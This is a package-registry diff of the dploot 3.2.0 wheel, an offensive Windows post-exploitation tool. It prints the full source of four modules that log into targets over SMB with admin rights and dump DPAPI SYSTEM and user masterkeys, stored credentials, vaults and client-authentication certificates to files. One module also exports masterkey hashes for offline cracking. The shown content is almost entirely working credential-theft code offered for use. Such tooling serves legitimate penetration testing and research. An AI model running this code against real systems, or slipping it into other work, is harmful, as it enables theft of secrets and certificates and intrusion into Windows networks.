dploot 3.2.0__py2.py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- dploot/__init__.py +0 -0
- dploot/action/__init__.py +0 -0
- dploot/action/backupkey.py +102 -0
- dploot/action/blob.py +167 -0
- dploot/action/browser.py +192 -0
- dploot/action/certificates.py +146 -0
- dploot/action/cng.py +129 -0
- dploot/action/credentials.py +132 -0
- dploot/action/machinecertificates.py +136 -0
- dploot/action/machinecng.py +120 -0
- dploot/action/machinecredentials.py +120 -0
- dploot/action/machinemasterkeys.py +117 -0
- dploot/action/machinetriage.py +158 -0
- dploot/action/machinevaults.py +127 -0
- dploot/action/masterkeys.py +200 -0
- dploot/action/mobaxterm.py +138 -0
- dploot/action/rdg.py +132 -0
- dploot/action/sccm.py +125 -0
- dploot/action/triage.py +187 -0
- dploot/action/vaults.py +132 -0
- dploot/action/wam.py +133 -0
- dploot/action/wifi.py +137 -0
- dploot/entry.py +98 -0
- dploot/lib/__init__.py +0 -0
- dploot/lib/consts.py +30 -0
- dploot/lib/crypto.py +415 -0
- dploot/lib/dpapi.py +302 -0
- dploot/lib/masterkey.py +75 -0
- dploot/lib/smb.py +517 -0
- dploot/lib/target.py +219 -0
- dploot/lib/utils.py +99 -0
- dploot/lib/wmi.py +61 -0
- dploot/triage/__init__.py +30 -0
- dploot/triage/backupkey.py +81 -0
- dploot/triage/browser.py +441 -0
- dploot/triage/certificates.py +444 -0
- dploot/triage/cng.py +165 -0
- dploot/triage/credentials.py +163 -0
- dploot/triage/masterkeys.py +279 -0
- dploot/triage/mobaxterm.py +653 -0
- dploot/triage/rdg.py +249 -0
- dploot/triage/sccm.py +302 -0
- dploot/triage/vaults.py +307 -0
- dploot/triage/wam.py +251 -0
- dploot/triage/wifi.py +424 -0
- dploot-3.2.0.dist-info/METADATA +865 -0
- dploot-3.2.0.dist-info/RECORD +50 -0
- dploot-3.2.0.dist-info/WHEEL +4 -0
- dploot-3.2.0.dist-info/entry_points.txt +3 -0
- dploot-3.2.0.dist-info/licenses/LICENSE +21 -0
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
from binascii import unhexlify
|
|
3
|
+
import logging
|
|
4
|
+
import sys
|
|
5
|
+
from typing import Callable, Tuple
|
|
6
|
+
|
|
7
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
8
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
9
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
10
|
+
from dploot.triage.masterkeys import MasterkeysTriage
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
NAME = "machinemasterkeys"
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
class MachineMasterkeysAction:
|
|
17
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
18
|
+
self.options = options
|
|
19
|
+
|
|
20
|
+
self.target = Target.from_options(options)
|
|
21
|
+
|
|
22
|
+
self.conn = None
|
|
23
|
+
self._is_admin = None
|
|
24
|
+
self.outputfile = None
|
|
25
|
+
self.outputdir = None
|
|
26
|
+
|
|
27
|
+
self.dpapi_system_key = {}
|
|
28
|
+
if self.options.dpapi_system_key is not None and self.options.dpapi_system_key != "":
|
|
29
|
+
correl_table = {"dpapi_machinekey":"MachineKey","dpapi_userkey":"UserKey"}
|
|
30
|
+
self.dpapi_system_key = {correl_table[k] :unhexlify(v[2:]) for k, v in (elem.split(":") for elem in options.dpapi_system_key.split(","))}
|
|
31
|
+
|
|
32
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
33
|
+
|
|
34
|
+
if self.options.outputfile is not None and self.options.outputfile != "":
|
|
35
|
+
self.outputfile = self.options.outputfile
|
|
36
|
+
|
|
37
|
+
def connect(self) -> None:
|
|
38
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
39
|
+
if self.conn.connect() is None:
|
|
40
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
41
|
+
sys.exit(1)
|
|
42
|
+
|
|
43
|
+
def run(self) -> None:
|
|
44
|
+
self.connect()
|
|
45
|
+
logging.info(
|
|
46
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
47
|
+
self.target.address,
|
|
48
|
+
self.target.domain,
|
|
49
|
+
self.target.username,
|
|
50
|
+
("(admin)" if self.is_admin else ""),
|
|
51
|
+
)
|
|
52
|
+
)
|
|
53
|
+
if self.is_admin:
|
|
54
|
+
fd = (
|
|
55
|
+
open(self.outputfile + ".mkf", "a+")
|
|
56
|
+
if self.outputfile is not None
|
|
57
|
+
else None
|
|
58
|
+
)
|
|
59
|
+
|
|
60
|
+
def masterkey_callback(masterkey):
|
|
61
|
+
masterkey.dump()
|
|
62
|
+
if fd is not None:
|
|
63
|
+
fd.write(str(masterkey) + "\n")
|
|
64
|
+
|
|
65
|
+
triage = MasterkeysTriage(
|
|
66
|
+
target=self.target,
|
|
67
|
+
conn=self.conn,
|
|
68
|
+
per_masterkey_callback=masterkey_callback,
|
|
69
|
+
dpapiSystem=self.dpapi_system_key
|
|
70
|
+
)
|
|
71
|
+
logging.info("Triage SYSTEM masterkeys\n")
|
|
72
|
+
triage.triage_system_masterkeys()
|
|
73
|
+
if self.outputfile is not None:
|
|
74
|
+
logging.critical("Writting masterkeys to %s.mkf" % self.outputfile)
|
|
75
|
+
fd.close()
|
|
76
|
+
if self.outputdir is not None:
|
|
77
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
78
|
+
else:
|
|
79
|
+
logging.info("Not an admin, exiting...")
|
|
80
|
+
|
|
81
|
+
@property
|
|
82
|
+
def is_admin(self) -> bool:
|
|
83
|
+
if self._is_admin is not None:
|
|
84
|
+
return self._is_admin
|
|
85
|
+
|
|
86
|
+
self._is_admin = self.conn.is_admin()
|
|
87
|
+
return self._is_admin
|
|
88
|
+
|
|
89
|
+
|
|
90
|
+
def entry(options: argparse.Namespace) -> None:
|
|
91
|
+
a = MachineMasterkeysAction(options)
|
|
92
|
+
a.run()
|
|
93
|
+
|
|
94
|
+
|
|
95
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
96
|
+
subparser = subparsers.add_parser(
|
|
97
|
+
NAME, help="Dump system masterkey from local or remote target"
|
|
98
|
+
)
|
|
99
|
+
|
|
100
|
+
group = subparser.add_argument_group("machinemasterkeys options")
|
|
101
|
+
|
|
102
|
+
group.add_argument(
|
|
103
|
+
"-outputfile",
|
|
104
|
+
action="store",
|
|
105
|
+
help=("Export keys to file"),
|
|
106
|
+
)
|
|
107
|
+
|
|
108
|
+
group.add_argument(
|
|
109
|
+
"-dpapi-system-key",
|
|
110
|
+
action="store",
|
|
111
|
+
metavar="dpapi_machinekey:0x0123456789abcdef0123456789abcdef01234567,dpapi_userkey:0x0123456789abcdef0123456789abcdef01234567",
|
|
112
|
+
help=("Use custom DPAPI SYSTEM keys"),
|
|
113
|
+
)
|
|
114
|
+
|
|
115
|
+
add_target_argument_group(subparser)
|
|
116
|
+
|
|
117
|
+
return NAME, entry
|
|
@@ -0,0 +1,158 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
7
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
8
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
9
|
+
from dploot.triage.certificates import CertificatesTriage
|
|
10
|
+
from dploot.triage.credentials import CredentialsTriage
|
|
11
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
12
|
+
from dploot.triage.vaults import VaultsTriage
|
|
13
|
+
|
|
14
|
+
NAME = "machinetriage"
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
class MachineTriageAction:
|
|
18
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
19
|
+
self.options = options
|
|
20
|
+
self.target = Target.from_options(options)
|
|
21
|
+
|
|
22
|
+
self.conn = None
|
|
23
|
+
self._is_admin = None
|
|
24
|
+
self.outputdir = None
|
|
25
|
+
self.masterkeys = None
|
|
26
|
+
self.pvkbytes = None
|
|
27
|
+
|
|
28
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
29
|
+
|
|
30
|
+
if self.options.mkfile is not None:
|
|
31
|
+
try:
|
|
32
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
33
|
+
except Exception as e:
|
|
34
|
+
logging.error(str(e))
|
|
35
|
+
sys.exit(1)
|
|
36
|
+
|
|
37
|
+
def connect(self) -> None:
|
|
38
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
39
|
+
if self.conn.connect() is None:
|
|
40
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
41
|
+
sys.exit(1)
|
|
42
|
+
|
|
43
|
+
def run(self) -> None:
|
|
44
|
+
self.connect()
|
|
45
|
+
logging.info(
|
|
46
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
47
|
+
self.target.address,
|
|
48
|
+
self.target.domain,
|
|
49
|
+
self.target.username,
|
|
50
|
+
("(admin)" if self.is_admin else ""),
|
|
51
|
+
)
|
|
52
|
+
)
|
|
53
|
+
|
|
54
|
+
if self.is_admin:
|
|
55
|
+
if self.masterkeys is None:
|
|
56
|
+
|
|
57
|
+
def masterkey_callback(masterkey):
|
|
58
|
+
masterkey.dump()
|
|
59
|
+
|
|
60
|
+
masterkeys_triage = MasterkeysTriage(
|
|
61
|
+
target=self.target,
|
|
62
|
+
conn=self.conn,
|
|
63
|
+
per_masterkey_callback=masterkey_callback,
|
|
64
|
+
)
|
|
65
|
+
logging.info("Triage SYSTEM masterkeys\n")
|
|
66
|
+
self.masterkeys = masterkeys_triage.triage_system_masterkeys()
|
|
67
|
+
print()
|
|
68
|
+
if self.outputdir is not None:
|
|
69
|
+
dump_looted_files_to_disk(self.outputdir, masterkeys_triage.looted_files)
|
|
70
|
+
|
|
71
|
+
def credential_callback(credential):
|
|
72
|
+
if self.options.quiet:
|
|
73
|
+
credential.dump_quiet()
|
|
74
|
+
else:
|
|
75
|
+
credential.dump()
|
|
76
|
+
|
|
77
|
+
credentials_triage = CredentialsTriage(
|
|
78
|
+
target=self.target,
|
|
79
|
+
conn=self.conn,
|
|
80
|
+
masterkeys=self.masterkeys,
|
|
81
|
+
per_credential_callback=credential_callback,
|
|
82
|
+
)
|
|
83
|
+
logging.info("Triage SYSTEM Credentials\n")
|
|
84
|
+
credentials_triage.triage_system_credentials()
|
|
85
|
+
if self.outputdir is not None:
|
|
86
|
+
dump_looted_files_to_disk(self.outputdir, credentials_triage.looted_files)
|
|
87
|
+
|
|
88
|
+
vaults_triage = VaultsTriage(
|
|
89
|
+
target=self.target,
|
|
90
|
+
conn=self.conn,
|
|
91
|
+
masterkeys=self.masterkeys,
|
|
92
|
+
per_vault_callback=credential_callback,
|
|
93
|
+
)
|
|
94
|
+
logging.info("Triage SYSTEM Vaults\n")
|
|
95
|
+
vaults_triage.triage_system_vaults()
|
|
96
|
+
if self.outputdir is not None:
|
|
97
|
+
dump_looted_files_to_disk(self.outputdir, vaults_triage.looted_files)
|
|
98
|
+
|
|
99
|
+
def certificate_callback(certificate):
|
|
100
|
+
if not self.options.dump_all and not certificate.clientauth:
|
|
101
|
+
return
|
|
102
|
+
if not self.options.quiet:
|
|
103
|
+
certificate.dump()
|
|
104
|
+
filename = f"{certificate.username}_{certificate.filename[:16]}.pfx"
|
|
105
|
+
logging.critical("Writting certificate to %s" % filename)
|
|
106
|
+
with open(filename, "wb") as f:
|
|
107
|
+
f.write(certificate.pfx)
|
|
108
|
+
|
|
109
|
+
certificate_triage = CertificatesTriage(
|
|
110
|
+
target=self.target,
|
|
111
|
+
conn=self.conn,
|
|
112
|
+
masterkeys=self.masterkeys,
|
|
113
|
+
per_certificate_callback=certificate_callback,
|
|
114
|
+
)
|
|
115
|
+
logging.info("Triage SYSTEM Certificates\n")
|
|
116
|
+
certificate_triage.triage_system_certificates()
|
|
117
|
+
if self.outputdir is not None:
|
|
118
|
+
dump_looted_files_to_disk(self.outputdir, certificate_triage.looted_files)
|
|
119
|
+
else:
|
|
120
|
+
logging.info("Not an admin, exiting...")
|
|
121
|
+
|
|
122
|
+
@property
|
|
123
|
+
def is_admin(self) -> bool:
|
|
124
|
+
if self._is_admin is not None:
|
|
125
|
+
return self._is_admin
|
|
126
|
+
|
|
127
|
+
self._is_admin = self.conn.is_admin()
|
|
128
|
+
return self._is_admin
|
|
129
|
+
|
|
130
|
+
|
|
131
|
+
def entry(options: argparse.Namespace) -> None:
|
|
132
|
+
a = MachineTriageAction(options)
|
|
133
|
+
a.run()
|
|
134
|
+
|
|
135
|
+
|
|
136
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
137
|
+
subparser = subparsers.add_parser(
|
|
138
|
+
NAME,
|
|
139
|
+
help="Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target",
|
|
140
|
+
)
|
|
141
|
+
|
|
142
|
+
group = subparser.add_argument_group("machinetriage options")
|
|
143
|
+
|
|
144
|
+
group.add_argument(
|
|
145
|
+
"-mkfile",
|
|
146
|
+
action="store",
|
|
147
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
148
|
+
)
|
|
149
|
+
|
|
150
|
+
group.add_argument(
|
|
151
|
+
"-dump-all",
|
|
152
|
+
action="store_true",
|
|
153
|
+
help=("Dump also certificates not used for client authentication"),
|
|
154
|
+
)
|
|
155
|
+
|
|
156
|
+
add_target_argument_group(subparser)
|
|
157
|
+
|
|
158
|
+
return NAME, entry
|
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
7
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
8
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
9
|
+
|
|
10
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
11
|
+
from dploot.triage.vaults import VaultsTriage
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
NAME = "machinevaults"
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
class MachineVaultsAction:
|
|
18
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
19
|
+
self.options = options
|
|
20
|
+
|
|
21
|
+
self.target = Target.from_options(options)
|
|
22
|
+
|
|
23
|
+
self.conn = None
|
|
24
|
+
self._is_admin = None
|
|
25
|
+
self.masterkeys = None
|
|
26
|
+
self.outputdir = None
|
|
27
|
+
|
|
28
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
29
|
+
|
|
30
|
+
if self.options.mkfile is not None:
|
|
31
|
+
try:
|
|
32
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
33
|
+
except Exception as e:
|
|
34
|
+
logging.error(str(e))
|
|
35
|
+
sys.exit(1)
|
|
36
|
+
|
|
37
|
+
def connect(self) -> None:
|
|
38
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
39
|
+
if self.conn.connect() is None:
|
|
40
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
41
|
+
sys.exit(1)
|
|
42
|
+
|
|
43
|
+
def run(self) -> None:
|
|
44
|
+
self.connect()
|
|
45
|
+
logging.info(
|
|
46
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
47
|
+
self.target.address,
|
|
48
|
+
self.target.domain,
|
|
49
|
+
self.target.username,
|
|
50
|
+
("(admin)" if self.is_admin else ""),
|
|
51
|
+
)
|
|
52
|
+
)
|
|
53
|
+
if self.is_admin:
|
|
54
|
+
if self.masterkeys is None:
|
|
55
|
+
|
|
56
|
+
def masterkey_triage(masterkey):
|
|
57
|
+
masterkey.dump()
|
|
58
|
+
|
|
59
|
+
masterkeytriage = MasterkeysTriage(
|
|
60
|
+
target=self.target,
|
|
61
|
+
conn=self.conn,
|
|
62
|
+
per_masterkey_callback=masterkey_triage
|
|
63
|
+
if not self.options.quiet
|
|
64
|
+
else None,
|
|
65
|
+
)
|
|
66
|
+
logging.info("Triage SYSTEM masterkeys\n")
|
|
67
|
+
self.masterkeys = masterkeytriage.triage_system_masterkeys()
|
|
68
|
+
print()
|
|
69
|
+
if self.outputdir is not None:
|
|
70
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
71
|
+
|
|
72
|
+
def secret_callback(vault):
|
|
73
|
+
if self.options.quiet:
|
|
74
|
+
vault.dump_quiet()
|
|
75
|
+
else:
|
|
76
|
+
vault.dump()
|
|
77
|
+
|
|
78
|
+
vaults_triage = VaultsTriage(
|
|
79
|
+
target=self.target,
|
|
80
|
+
conn=self.conn,
|
|
81
|
+
masterkeys=self.masterkeys,
|
|
82
|
+
per_vault_callback=secret_callback,
|
|
83
|
+
)
|
|
84
|
+
logging.info("Triage SYSTEM Vaults\n")
|
|
85
|
+
vaults_triage.triage_system_vaults()
|
|
86
|
+
if self.outputdir is not None:
|
|
87
|
+
dump_looted_files_to_disk(self.outputdir, vaults_triage.looted_files)
|
|
88
|
+
|
|
89
|
+
else:
|
|
90
|
+
logging.info("Not an admin, exiting...")
|
|
91
|
+
|
|
92
|
+
@property
|
|
93
|
+
def is_admin(self) -> bool:
|
|
94
|
+
if self._is_admin is not None:
|
|
95
|
+
return self._is_admin
|
|
96
|
+
|
|
97
|
+
self._is_admin = self.conn.is_admin()
|
|
98
|
+
return self._is_admin
|
|
99
|
+
|
|
100
|
+
|
|
101
|
+
def entry(options: argparse.Namespace) -> None:
|
|
102
|
+
a = MachineVaultsAction(options)
|
|
103
|
+
a.run()
|
|
104
|
+
|
|
105
|
+
|
|
106
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
107
|
+
subparser = subparsers.add_parser(
|
|
108
|
+
NAME, help="Dump system vaults from local or remote target"
|
|
109
|
+
)
|
|
110
|
+
|
|
111
|
+
group = subparser.add_argument_group("machinevaults options")
|
|
112
|
+
|
|
113
|
+
group.add_argument(
|
|
114
|
+
"-mkfile",
|
|
115
|
+
action="store",
|
|
116
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
117
|
+
)
|
|
118
|
+
|
|
119
|
+
group.add_argument(
|
|
120
|
+
"-outputfile",
|
|
121
|
+
action="store",
|
|
122
|
+
help=("Export keys to file"),
|
|
123
|
+
)
|
|
124
|
+
|
|
125
|
+
add_target_argument_group(subparser)
|
|
126
|
+
|
|
127
|
+
return NAME, entry
|
|
@@ -0,0 +1,200 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Dict, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
7
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
8
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option, parse_file_as_dict
|
|
9
|
+
from dploot.triage.masterkeys import MasterkeysTriage
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
NAME = "masterkeys"
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
class MasterkeysAction:
|
|
16
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
17
|
+
self.options = options
|
|
18
|
+
|
|
19
|
+
self.target = Target.from_options(options)
|
|
20
|
+
|
|
21
|
+
self.conn = None
|
|
22
|
+
self._is_admin = None
|
|
23
|
+
self.outputfile = None
|
|
24
|
+
self.pvkbytes = None
|
|
25
|
+
self.passwords = None
|
|
26
|
+
self.nthashes = None
|
|
27
|
+
self.outputdir = None
|
|
28
|
+
|
|
29
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
30
|
+
|
|
31
|
+
if self.options.outputfile is not None and self.options.outputfile != "":
|
|
32
|
+
self.outputfile = self.options.outputfile
|
|
33
|
+
|
|
34
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
|
|
35
|
+
self.options, self.target
|
|
36
|
+
)
|
|
37
|
+
|
|
38
|
+
def connect(self) -> None:
|
|
39
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
40
|
+
if self.conn.connect() is None:
|
|
41
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
42
|
+
sys.exit(1)
|
|
43
|
+
|
|
44
|
+
def run(self) -> None:
|
|
45
|
+
self.connect()
|
|
46
|
+
logging.info(
|
|
47
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
48
|
+
self.target.address,
|
|
49
|
+
self.target.domain,
|
|
50
|
+
self.target.username,
|
|
51
|
+
("(admin)" if self.is_admin else ""),
|
|
52
|
+
)
|
|
53
|
+
)
|
|
54
|
+
if self.is_admin:
|
|
55
|
+
fd = (
|
|
56
|
+
open(self.outputfile + ".mkf", "a+")
|
|
57
|
+
if self.outputfile is not None
|
|
58
|
+
else None
|
|
59
|
+
)
|
|
60
|
+
|
|
61
|
+
def masterkey_callback(masterkey):
|
|
62
|
+
if masterkey.key is not None:
|
|
63
|
+
masterkey.dump()
|
|
64
|
+
if fd is not None:
|
|
65
|
+
fd.write(str(masterkey) + "\n")
|
|
66
|
+
|
|
67
|
+
triage = MasterkeysTriage(
|
|
68
|
+
target=self.target,
|
|
69
|
+
conn=self.conn,
|
|
70
|
+
pvkbytes=self.pvkbytes,
|
|
71
|
+
nthashes=self.nthashes,
|
|
72
|
+
passwords=self.passwords,
|
|
73
|
+
per_masterkey_callback=masterkey_callback,
|
|
74
|
+
)
|
|
75
|
+
logging.info("Triage ALL USERS masterkeys\n")
|
|
76
|
+
triage.triage_masterkeys()
|
|
77
|
+
if self.outputfile is not None:
|
|
78
|
+
logging.critical("Writting masterkeys to %s" % self.outputfile)
|
|
79
|
+
fd.close()
|
|
80
|
+
if self.options.hashes_outputfile:
|
|
81
|
+
print()
|
|
82
|
+
with open(self.options.hashes_outputfile, "a+") as hashes_fd:
|
|
83
|
+
for mkhash in [mkhash for masterkey in triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]:
|
|
84
|
+
print(mkhash)
|
|
85
|
+
hashes_fd.write(mkhash + "\n")
|
|
86
|
+
print()
|
|
87
|
+
logging.critical("Writting masterkey hashes to %s" % self.options.hashes_outputfile)
|
|
88
|
+
if self.outputdir is not None:
|
|
89
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
90
|
+
else:
|
|
91
|
+
logging.info("Not an admin, exiting...")
|
|
92
|
+
|
|
93
|
+
@property
|
|
94
|
+
def is_admin(self) -> bool:
|
|
95
|
+
if self._is_admin is not None:
|
|
96
|
+
return self._is_admin
|
|
97
|
+
|
|
98
|
+
self._is_admin = self.conn.is_admin()
|
|
99
|
+
return self._is_admin
|
|
100
|
+
|
|
101
|
+
|
|
102
|
+
def entry(options: argparse.Namespace) -> None:
|
|
103
|
+
a = MasterkeysAction(options)
|
|
104
|
+
a.run()
|
|
105
|
+
|
|
106
|
+
|
|
107
|
+
def parse_masterkeys_options(
|
|
108
|
+
options: argparse.Namespace, target: Target
|
|
109
|
+
) -> Tuple[bytes, Dict[str, str], Dict[str, str]]:
|
|
110
|
+
pvkbytes = None
|
|
111
|
+
passwords = {}
|
|
112
|
+
nthashes = {}
|
|
113
|
+
if hasattr(options, "pvk") and options.pvk is not None:
|
|
114
|
+
try:
|
|
115
|
+
pvkbytes = open(options.pvk, "rb").read()
|
|
116
|
+
except Exception as e:
|
|
117
|
+
logging.error(str(e))
|
|
118
|
+
sys.exit(1)
|
|
119
|
+
|
|
120
|
+
if hasattr(options, "passwords") and options.passwords is not None:
|
|
121
|
+
try:
|
|
122
|
+
passwords = parse_file_as_dict(options.passwords)
|
|
123
|
+
except Exception as e:
|
|
124
|
+
logging.error(str(e))
|
|
125
|
+
sys.exit(1)
|
|
126
|
+
|
|
127
|
+
if hasattr(options, "nthashes") and options.nthashes is not None:
|
|
128
|
+
try:
|
|
129
|
+
nthashes = parse_file_as_dict(options.nthashes)
|
|
130
|
+
except Exception as e:
|
|
131
|
+
logging.error(str(e))
|
|
132
|
+
sys.exit(1)
|
|
133
|
+
|
|
134
|
+
if target.password is not None and target.password != "":
|
|
135
|
+
if passwords is None:
|
|
136
|
+
passwords = {}
|
|
137
|
+
passwords[target.username] = target.password
|
|
138
|
+
|
|
139
|
+
if target.nthash is not None and target.nthash != "":
|
|
140
|
+
if nthashes is None:
|
|
141
|
+
nthashes = {}
|
|
142
|
+
nthashes[target.username] = target.nthash.lower()
|
|
143
|
+
|
|
144
|
+
if nthashes is not None:
|
|
145
|
+
nthashes = {k.lower(): v.lower() for k, v in nthashes.items()}
|
|
146
|
+
|
|
147
|
+
if passwords is not None:
|
|
148
|
+
passwords = {k.lower(): v for k, v in passwords.items()}
|
|
149
|
+
|
|
150
|
+
return pvkbytes, passwords, nthashes
|
|
151
|
+
|
|
152
|
+
|
|
153
|
+
def add_masterkeys_argument_group(group: argparse._ArgumentGroup) -> None:
|
|
154
|
+
group.add_argument(
|
|
155
|
+
"-pvk",
|
|
156
|
+
action="store",
|
|
157
|
+
help=("Pvk file with domain backup key"),
|
|
158
|
+
)
|
|
159
|
+
|
|
160
|
+
group.add_argument(
|
|
161
|
+
"-passwords",
|
|
162
|
+
action="store",
|
|
163
|
+
help=(
|
|
164
|
+
"File containing username:password that will be used eventually to decrypt masterkeys"
|
|
165
|
+
),
|
|
166
|
+
)
|
|
167
|
+
|
|
168
|
+
group.add_argument(
|
|
169
|
+
"-nthashes",
|
|
170
|
+
action="store",
|
|
171
|
+
help=(
|
|
172
|
+
"File containing username:nthash that will be used eventually to decrypt masterkeys"
|
|
173
|
+
),
|
|
174
|
+
)
|
|
175
|
+
|
|
176
|
+
|
|
177
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
178
|
+
subparser = subparsers.add_parser(
|
|
179
|
+
NAME, help="Dump users masterkey from local or remote target"
|
|
180
|
+
)
|
|
181
|
+
|
|
182
|
+
group = subparser.add_argument_group("masterkeys options")
|
|
183
|
+
|
|
184
|
+
add_masterkeys_argument_group(group)
|
|
185
|
+
|
|
186
|
+
group.add_argument(
|
|
187
|
+
"-outputfile",
|
|
188
|
+
action="store",
|
|
189
|
+
help=("Export keys to file"),
|
|
190
|
+
)
|
|
191
|
+
|
|
192
|
+
group.add_argument(
|
|
193
|
+
"-hashes-outputfile",
|
|
194
|
+
action="store",
|
|
195
|
+
help=("Export hashes of masterkeys to file in Hashcat/JtR format"),
|
|
196
|
+
)
|
|
197
|
+
|
|
198
|
+
add_target_argument_group(subparser)
|
|
199
|
+
|
|
200
|
+
return NAME, entry
|